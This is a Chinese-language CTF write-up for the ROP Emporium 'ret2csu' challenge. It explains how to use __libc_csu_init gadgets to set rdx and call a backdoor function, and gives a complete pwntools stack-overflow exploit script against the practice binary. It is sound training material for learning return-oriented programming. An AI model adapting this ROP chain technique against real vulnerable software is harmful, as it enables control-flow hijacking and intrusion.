ret2csu

check一下,开了NX


image.png

拖进ida,发现栈溢出,有system


image.png

发现一个后门函数,题目提示,只要call ret2win就可以了,但后门函数需要三个参数,a1,a2随意,a3需要为0xdeadcafebabebeef
image.png

所以我们的思路就是


image.png

没有如pop rdx , mov rdx的gadget,这个时候,所以我们需要利用__libc_csu_init中的gadget。并且可以控制 r15,r14,r13的值 来达到控制 rdx,rsi,rdi的目的。
通过大佬的博客知道有一个坑,setvbuf函数在调用的时候会将rdx赋值为0xffffffff,这样的话就不能成功调用ret2win了,所以需要找一个初始化函数调用一下。
将r12的地址换成其中一个初始化用的函数地址0x0600E10。
脚本
#!/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
from LibcSearcher import LibcSearcher

#context.log_level = 'debug'

p = process('./ret2csu')

init = 0x0600E10
rop1 = 0x040089A #pop rbx ; pop rbp ; r12 r13 r14 r15 ret
rop2 = 0x0400880 #mov rdx, r15  mov rsi r14,mov edi r13,call qword ptr[r12+rbx*8]
ret2win = 0x04007B1
p.recvuntil('The third argument (rdx) must be 0xdeadcafebabebeef')

payload = 'A'*0x20
payload += p64(0) 
payload += p64(rop1) #ret
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(init) #r12
payload += p64(0) #r13
payload += p64(0) #r14
payload += p64(0xdeadcafebabebeef) #r15
#rbx=0 rbp=1 r12=target_function,参数入栈后,
payload += p64(rop2) #ret
payload += p64(0) #padding
payload += p64(0) #rbx
payload += p64(0) #rbp
payload += p64(0) #r12
payload += p64(0) #r13
payload += p64(0) #r14
payload += p64(0) #r15
payload += p64(ret2win) #ret

p.sendline(payload)

p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 先checksec一波,no canry ,no pie 从IDA可以看到程序存在栈溢出漏洞和一个后门函数 但是这...
    n0va阅读 1,926评论 0 0
  • 1.泄露libc来构建我们的system和/bin/sh2.一上来安全机制,ida走一波(查找敏感的字符串)3.发...
    Zero_0_0阅读 398评论 0 0
  • [ROP Emporium]ret2csu 做ROP Emporium的ret2csu陷入僵局的时候想找wp的时候...
    ckj123阅读 1,463评论 0 1
  • 朋友小C打电话来跟我说她的男朋友不小心被同事砸到,手指骨折。小C每天上了一天班晚上7点多下班后还要转两趟公交买吃的...
    兔牙Yuki阅读 1,876评论 2 6
  • 微信被认为是目前最具营销价值的营销渠道之一,原因很简单,微信是目前超高活跃度的app稳稳第一名,但是在微信中点击a...
    小柒柒啊啊阅读 252评论 0 0

友情链接更多精彩内容